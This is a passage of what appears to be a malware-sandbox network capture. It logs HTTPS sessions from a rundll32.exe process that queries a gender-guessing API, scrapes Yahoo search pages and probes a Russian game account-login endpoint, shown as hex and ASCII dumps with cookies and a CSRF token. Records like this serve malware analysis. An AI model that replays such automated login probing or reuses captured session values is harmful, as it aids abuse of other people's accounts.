s=(s=S.get(t,"pos"))?l.items[s]:{};if(y(A,[function(){i=!0},t,s]),i)return;if(t===s.li)return d.value=s.data.k,l.assistItem=s,y(N),n(b),void a(u.customSelection);if((t=t.parentNode)===w)break}c.hideOnOutsideClick&&l.hide()}}
2023-12-10 16:48:29 UTC	16384	IN	Data Raw: 6e 67 43 6c 61 73 73 3a 22 74 79 70 69 6e 67 22 2c 6e 6f 52 65 73 75 6c 74 43 6c 61 73 73 3a 22 73 66 2d 6e 6f 52 65 73 75 6c 74 22 7d 7d 2c 64 2e 68 69 64 65 53 62 43 6c 72 3d 28 4a 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 28 74 68 69 73 2e 61 70 70 3d 65 29 2e 6f 6e 28 61 2c 6a 2c 74 68 69 73 29 7d 7d 2c 4a 29 2c 64 2e 65 6e 74 69 74 79 46 6f 63 75 73 3d 28 65 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 28 74 68 69 73 2e 61 70 70 3d 65 29 2e 6f 6e 28 46 2c 24 2c 74 68 69 73 29 7d 7d 2c 65 65 29 2c 64 2e 73 61 46 72 32 3d 28 6f 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 28 74 2e 61 70 Data Ascii: ngClass:"typing",noResultClass:"sf-noResult"}},d.hideSbClr=(J.prototype={init:function(e){(this.app=e).on(a,j,this)}},J),d.entityFocus=(ee.prototype={init:function(e){(this.app=e).on(F,$,this)}},ee),d.saFr2=(oe.prototype={init:function(e){var t=this;(t.ap
2023-12-10 16:48:29 UTC	4535	IN	Data Raw: 7d 23 6d 61 69 6e 20 23 77 65 62 20 2e 64 64 20 2e 74 69 74 6c 65 20 61 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 7d 23 6d 61 69 6e 20 23 77 65 62 20 62 2c 23 6d 61 69 6e 20 23 77 65 62 20 2e 63 69 74 65 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 7d 23 72 65 73 75 6c 74 73 20 61 2c 20 23 72 65 73 75 6c 74 73 20 23 77 65 62 20 61 2c 20 23 72 65 73 75 6c 74 73 20 2e 63 6f 6d 70 54 69 74 6c 65 20 68 33 20 61 2c 20 23 72 65 73 75 6c 74 73 20 23 6c 65 66 74 20 23 77 65 62 20 70 20 61 7b 63 6f 6c 6f 72 3a 23 31 61 30 64 61 62 7d 23 72 65 73 75 6c 74 73 20 23 72 69 67 68 74 20 2e 63 61 72 64 52 65 67 20 2e 4b 67 4d 6f 76 69 65 73 59 4b 43 20 2e 63 6f 6d 70 54 65 78 74 20 70 20 61 3a 6c 61 73 74 2d 63 68 69 6c 64 2c 23 72 Data Ascii: }#main #web .dd .title a{text-decoration: none}#main #web b,#main #web .cite{font-weight: normal}#results a, #results #web a, #results .compTitle h3 a, #results #left #web p a{color:#1a0dab}#results #right .cardReg .KgMoviesYKC .compText p a:last-child,#r
2023-12-10 16:48:29 UTC	801	IN	Data Raw: 2e 6d 69 63 72 6f 70 68 6f 6e 65 2c 2e 73 70 63 68 63 20 2e 73 70 65 61 6b 69 6e 67 20 2e 6d 69 63 72 6f 70 68 6f 6e 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 70 76 2f 73 74 61 74 69 63 2f 69 6d 67 2f 76 6f 69 63 65 53 65 61 72 63 68 31 78 2d 31 36 32 30 33 38 33 35 33 31 35 36 35 2e 6d 69 6e 2e 70 6e 67 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 69 6e 69 74 69 61 6c 3b 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 Data Ascii: .microphone,.spchc .speaking .microphone{background-image:url(https://s.yimg.com/pv/static/img/voiceSearch1x-1620383531565.min.png);background-repeat:no-repeat;background-size:initial;color:transparent}@media only screen and (-webkit-min-device-pixel-rati

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49751	165.227.126.8	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:29 UTC	71	OUT	GET /?name=Antoinette HTTP/1.1 Host: api.genderize.io Accept: /
2023-12-10 16:48:30 UTC	499	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 38 3a 33 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 37 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 61 6c 6c 6f 77 2d 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 61 6c 6c 6f 77 2d 6f 72 69 67 69 6e 3a 20 2a 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 65 78 70 6f 73 65 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.16.1Date: Sun, 10 Dec 2023 16:48:30 GMTContent-Type: application/json; charset=utf-8Content-Length: 71Connection: closeaccess-control-allow-credentials: trueaccess-control-allow-origin: *access-control-expose
2023-12-10 16:48:30 UTC	71	IN	Data Raw: 7b 22 63 6f 75 6e 74 22 3a 33 33 31 31 32 2c 22 6e 61 6d 65 22 3a 22 41 6e 74 6f 69 6e 65 74 74 65 22 2c 22 67 65 6e 64 65 72 22 3a 22 66 65 6d 61 6c 65 22 2c 22 70 72 6f 62 61 62 69 6c 69 74 79 22 3a 31 2e 30 7d Data Ascii: {"count":33112,"name":"Antoinette","gender":"female","probability":1.0}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49758	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:32 UTC	874	OUT	GET /search;_ylt=AwrNOavc63Vl6bIrn71XNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=29&pz=7&bct=0&xargs=0 HTTP/1.1 Host: search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226908&ltv_c=4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:48:33 UTC	2095	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 38 3a 33 32 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:48:32 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:48:33 UTC	6247	IN	Data Raw: 39 66 30 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d Data Ascii: 9f03<!doctype html><html id="atomic" class="NoJs" lang="en-US"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yim
2023-12-10 16:48:33 UTC	16384	IN	Data Raw: 73 74 2e 72 65 6d 6f 76 65 28 6e 29 3a 65 26 26 65 2e 63 6c 61 73 73 4e 61 6d 65 26 26 28 74 3d 6e 65 77 20 52 65 67 45 78 70 28 22 28 3f 3a 5e 7c 5c 5c 73 2b 29 22 2b 6d 28 6e 29 2b 22 28 3f 3a 5c 5c 73 2b 7c 24 29 22 29 2c 65 2e 63 6c 61 73 73 4e 61 6d 65 3d 66 28 65 2e 63 6c 61 73 73 4e 61 6d 65 2e 72 65 70 6c 61 63 65 28 74 2c 22 20 22 29 29 29 7d 2c 74 26 26 74 2e 66 6f 72 45 61 63 68 3f 74 2e 66 6f 72 45 61 63 68 28 65 29 3a 65 28 74 29 29 7d 2c 61 64 64 43 6c 61 73 73 3a 66 75 6e 63 74 69 6f 6e 20 79 28 74 2c 6e 29 7b 76 61 72 20 65 3b 30 3c 6e 2e 69 6e 64 65 78 4f 66 28 22 20 22 29 3f 6e 2e 73 70 6c 69 74 28 22 20 22 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 79 28 74 2c 65 29 7d 29 3a 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: st.remove(n):e&&e.className&&(t=new RegExp("(?:^\|\\s+)"+m(n)+"(?:\\s+\|$)"),e.className=f(e.className.replace(t," ")))},t&&t.forEach?t.forEach(e):e(t))},addClass:function y(t,n){var e;0<n.indexOf(" ")?n.split(" ").forEach(function(e){y(t,e)}):(e=function(e
2023-12-10 16:48:33 UTC	4384	IN	Data Raw: 7b 63 73 73 3a 22 73 61 2d 61 6e 6e 6f 74 2d 66 6c 61 67 22 7d 2c 22 69 6d 67 22 29 29 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 7d 2c 69 2e 73 72 63 3d 70 2e 66 6c 61 67 2c 63 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 29 29 2c 73 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 29 29 2c 6c 2e 6d 61 72 6b 65 72 73 29 29 26 26 6f 5b 22 6d 22 2b 74 5d 2c 30 3d 3d 65 2e 69 64 78 26 26 72 26 26 72 2e 74 79 70 65 26 26 28 73 2e 63 6c 61 73 73 4e 61 6d 65 2b 3d 22 20 62 69 6c 6c 62 6f 61 72 64 20 22 2b 72 2e 74 79 70 65 29 2c 6c 2e 72 69 63 68 43 6c 61 73 73 26 26 28 6e 7c 7c 61 29 26 26 28 73 2e 63 6c 61 73 73 4e 61 6d 65 2b 3d 22 20 22 2b 6c 2e 72 69 63 68 43 6c 61 73 73 29 29 29 Data Ascii: {css:"sa-annot-flag"},"img")).onerror=function(e){i.style.display="none"},i.src=p.flag,c.appendChild(i)),s.appendChild(c)),l.markers))&&o["m"+t],0==e.idx&&r&&r.type&&(s.className+=" billboard "+r.type),l.richClass&&(n\|\|a)&&(s.className+=" "+l.richClass)))
2023-12-10 16:48:33 UTC	12000	IN	Data Raw: 68 69 67 68 5f 74 65 6d 70 2b 22 c2 b0 22 2c 6e 3d 65 2e 6c 6f 77 5f 74 65 6d 70 26 26 22 4c 3a 22 2b 65 2e 6c 6f 77 5f 74 65 6d 70 2b 22 c2 b0 22 2c 61 3d 65 2e 6c 6f 63 26 26 27 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 61 2d 73 65 70 20 73 61 2d 73 65 70 2d 6c 6f 63 22 3e e2 80 a2 3c 2f 73 70 61 6e 3e 20 27 2b 65 2e 6c 6f 63 2c 6f 3d 65 2e 77 61 72 6e 69 6e 67 3f 27 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 77 61 72 6e 69 6e 67 22 3e 3c 2f 73 70 61 6e 3e 27 3a 22 22 2c 72 3d 74 68 69 73 2e 61 70 70 2e 66 6f 72 6d 61 74 2c 6c 2e 65 6e 61 62 6c 65 48 4c 3f 65 2e 74 69 74 6c 65 3d 72 28 6c 2e 74 6d 70 6c 5f 68 6c 2c 5b 63 2c 69 2c 6f 2c 74 2c 73 2c 6e 2c 61 5d 29 3a 65 2e 74 69 74 6c 65 3d 72 28 6c 2e 74 6d 70 6c 2c 5b 63 2c 69 2c 74 2c 61 5d 29 29 7d 66 75 Data Ascii: high_temp+"",n=e.low_temp&&"L:"+e.low_temp+"",a=e.loc&&'<span class="sa-sep sa-sep-loc"></span> '+e.loc,o=e.warning?'<span class="warning"></span>':"",r=this.app.format,l.enableHL?e.title=r(l.tmpl_hl,[c,i,o,t,s,n,a]):e.title=r(l.tmpl,[c,i,t,a]))}fu
2023-12-10 16:48:33 UTC	6824	IN	Data Raw: 28 29 7b 74 68 69 73 2e 63 6f 6e 66 69 67 3d 7b 6c 6f 67 3a 7b 5f 72 3a 32 2c 61 63 74 6e 3a 22 63 6c 6b 22 2c 70 6f 73 3a 31 2c 73 65 63 3a 22 73 65 61 72 63 68 22 2c 73 6c 6b 3a 22 63 6c 65 61 72 73 65 61 72 63 68 22 2c 74 31 3a 22 68 64 72 22 2c 74 32 3a 22 73 65 61 72 63 68 22 2c 74 33 3a 22 63 6c 65 61 72 22 2c 74 34 3a 22 63 6c 65 61 72 73 65 61 72 63 68 22 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 4d 74 28 29 7b 74 68 69 73 2e 63 6f 6e 66 69 67 3d 7b 63 73 73 3a 7b 6e 61 6d 65 73 70 61 63 65 3a 22 73 61 2d 66 65 65 64 62 61 63 6b 22 7d 2c 74 65 78 74 3a 7b 72 65 70 6f 72 74 3a 22 52 65 70 6f 72 74 20 69 6e 61 70 70 72 6f 70 72 69 61 74 65 20 70 72 65 64 69 63 74 69 6f 6e 73 22 2c 77 68 69 63 68 3a 22 57 68 69 63 68 20 70 72 65 64 69 63 74 69 6f 6e 73 20 Data Ascii: (){this.config={log:{_r:2,actn:"clk",pos:1,sec:"search",slk:"clearsearch",t1:"hdr",t2:"search",t3:"clear",t4:"clearsearch"}}}function Mt(){this.config={css:{namespace:"sa-feedback"},text:{report:"Report inappropriate predictions",which:"Which predictions
2023-12-10 16:48:33 UTC	15928	IN	Data Raw: 63 6f 6c 2b 22 2f 2f 22 2b 53 2e 62 75 69 6c 64 55 72 6c 28 6e 2e 73 61 42 65 61 63 6f 6e 2c 61 29 29 2c 6f 2e 62 65 61 63 6f 6e 5f 63 6c 69 63 6b 28 69 29 2c 6f 2e 42 45 41 43 4f 4e 3d 74 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 2e 53 61 42 65 61 63 6f 6e 26 26 72 2e 53 61 42 65 61 63 6f 6e 28 69 29 29 7d 7d 2c 74 29 2c 63 2e 6d 6f 64 65 6c 43 6c 61 73 73 3d 28 5a 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 74 2e 61 70 70 3d 65 2c 74 2e 76 69 65 77 3d 65 2e 76 69 65 77 2c 74 2e 63 6f 6e 66 69 67 3d 65 2e 63 6f 6e 66 69 67 2c 74 2e 63 62 49 64 78 3d 30 2c 74 2e 64 61 74 61 3d 7b 7d 2c 21 30 7d 2c 66 65 74 63 68 3a 66 75 6e 63 74 69 6f Data Ascii: col+"//"+S.buildUrl(n.saBeacon,a)),o.beacon_click(i),o.BEACON=t):"function"==typeof r.SaBeacon&&r.SaBeacon(i))}},t),c.modelClass=(Z.prototype={init:function(e){var t=this;return t.app=e,t.view=e.view,t.config=e.config,t.cbIdx=0,t.data={},!0},fetch:functio
2023-12-10 16:48:33 UTC	10016	IN	Data Raw: 72 74 42 65 66 6f 72 65 28 61 2c 70 2e 62 65 66 6f 72 65 4e 6f 64 65 29 2c 70 2e 70 61 73 66 3d 5b 5d 2c 70 2e 70 61 61 3d 5b 5d 2c 70 2e 73 68 6f 70 70 69 6e 67 52 65 66 69 6e 65 6d 65 6e 74 3d 5b 5d 2c 70 2e 62 65 66 6f 72 65 4e 6f 64 65 3d 6e 75 6c 6c 2c 70 2e 69 73 52 65 6d 6f 76 69 6e 67 48 69 73 74 6f 72 79 3d 21 31 29 7d 2c 67 65 74 49 74 65 6d 73 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 73 29 7b 76 61 72 20 61 3d 74 68 69 73 3b 73 2e 6d 3d 3d 70 3f 61 2e 72 65 6c 61 74 65 64 53 74 6f 63 6b 73 2e 70 75 73 68 28 65 29 3a 73 2e 6d 3d 3d 63 3f 61 2e 73 68 6f 70 70 69 6e 67 52 65 66 69 6e 65 6d 65 6e 74 2e 70 75 73 68 28 65 29 3a 73 2e 6d 3d 3d 64 3f 61 2e 70 61 73 66 2e 70 75 73 68 28 65 29 3a 37 32 3d 3d 73 2e 6d 3f 61 2e 70 61 61 2e 70 75 73 68 28 65 29 Data Ascii: rtBefore(a,p.beforeNode),p.pasf=[],p.paa=[],p.shoppingRefinement=[],p.beforeNode=null,p.isRemovingHistory=!1)},getItems:function(e,s){var a=this;s.m==p?a.relatedStocks.push(e):s.m==c?a.shoppingRefinement.push(e):s.m==d?a.pasf.push(e):72==s.m?a.paa.push(e)
2023-12-10 16:48:33 UTC	4464	IN	Data Raw: 6e 65 2c 2e 73 70 63 68 63 20 2e 73 70 65 61 6b 69 6e 67 20 2e 6d 69 63 72 6f 70 68 6f 6e 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 70 76 2f 73 74 61 74 69 63 2f 69 6d 67 2f 76 6f 69 63 65 53 65 61 72 63 68 31 78 2d 31 36 32 30 33 38 33 35 33 31 35 36 35 2e 6d 69 6e 2e 70 6e 67 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 69 6e 69 74 69 61 6c 3b 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 2c 6f 6e 6c 79 Data Ascii: ne,.spchc .speaking .microphone{background-image:url(https://s.yimg.com/pv/static/img/voiceSearch1x-1620383531565.min.png);background-repeat:no-repeat;background-size:initial;color:transparent}@media only screen and (-webkit-min-device-pixel-ratio:2),only
2023-12-10 16:48:33 UTC	16384	IN	Data Raw: 3a 68 69 64 64 65 6e 3b 6d 61 72 67 69 6e 3a 33 70 78 20 30 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 3b 77 69 64 74 68 3a 63 61 6c 63 28 35 30 25 20 2d 20 34 38 2e 35 70 78 29 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65 72 20 70 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 2d 63 65 6c 6c 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 77 69 64 74 68 3a 35 35 30 70 78 3b 68 65 69 67 68 74 3a 39 37 70 78 7d 2e 73 32 74 62 2d 68 20 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65 72 2c 2e 73 32 74 62 20 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 73 70 63 68 74 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 63 6f 6c 6f 72 3a 23 36 65 37 37 38 30 3b 6c 69 Data Ascii: :hidden;margin:3px 0;pointer-events:none;width:calc(50% - 48.5px)}.text-container p{display:table-cell;vertical-align:middle;width:550px;height:97px}.s2tb-h .text-container,.s2tb .text-container{position:relative}.spcht{font-weight:normal;color:#6e7780;li

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49754	95.181.181.87	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:32 UTC	456	OUT	GET /id/state.json/ HTTP/1.1 Host: lesta.ru Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 OPR/75.0.3969.149 accept: application/json, text/javascript, /; q=0.01 accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 referer: https://eu.wargaming.net/id/signin/ x-requested-with: XMLHttpRequest Accept-Encoding: gzip, deflate
2023-12-10 16:48:38 UTC	2627	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 38 3a 33 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 37 34 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 10 Dec 2023 16:48:38 GMTContent-Type: application/x-javascript; charset=utf-8Content-Length: 1742Connection: closeVary: Accept-EncodingVary: Accept-EncodingX-Frame-Options: DENYVary: Accept-Language
2023-12-10 16:48:38 UTC	1742	IN	Data Raw: 7b 22 47 65 6e 65 72 61 6c 22 3a 20 7b 22 4c 61 6e 67 75 61 67 65 43 6f 64 65 22 3a 20 22 72 75 22 7d 2c 20 22 52 65 71 75 65 73 74 22 3a 20 7b 22 41 63 63 6f 75 6e 74 49 6e 66 6f 22 3a 20 7b 22 4c 6f 67 69 6e 22 3a 20 6e 75 6c 6c 2c 20 22 45 6d 61 69 6c 22 3a 20 6e 75 6c 6c 2c 20 22 49 73 41 75 74 68 65 6e 74 69 63 61 74 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 42 61 6e 22 3a 20 6e 75 6c 6c 2c 20 22 54 65 6c 65 70 6f 72 74 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 52 65 63 6f 76 65 72 79 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 7d 2c 20 22 48 61 73 53 74 61 66 66 49 70 22 3a 20 66 61 6c 73 65 2c 20 22 43 53 52 46 5f 54 4f 4b 45 4e 22 3a 20 22 6b 6b 52 78 79 53 6c 58 70 31 61 79 39 71 44 64 73 78 38 71 39 43 47 36 62 33 64 36 42 69 4e Data Ascii: {"General": {"LanguageCode": "ru"}, "Request": {"AccountInfo": {"Login": null, "Email": null, "IsAuthenticated": false, "Ban": null, "TeleportRequired": false, "RecoveryRequired": false}, "HasStaffIp": false, "CSRF_TOKEN": "kkRxySlXp1ay9qDdsx8q9CG6b3d6BiN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49761	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:36 UTC	874	OUT	GET /search;_ylt=Awrhdprg63VlPJorTTtXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=36&pz=7&bct=0&xargs=0 HTTP/1.1 Host: search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226912&ltv_c=5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
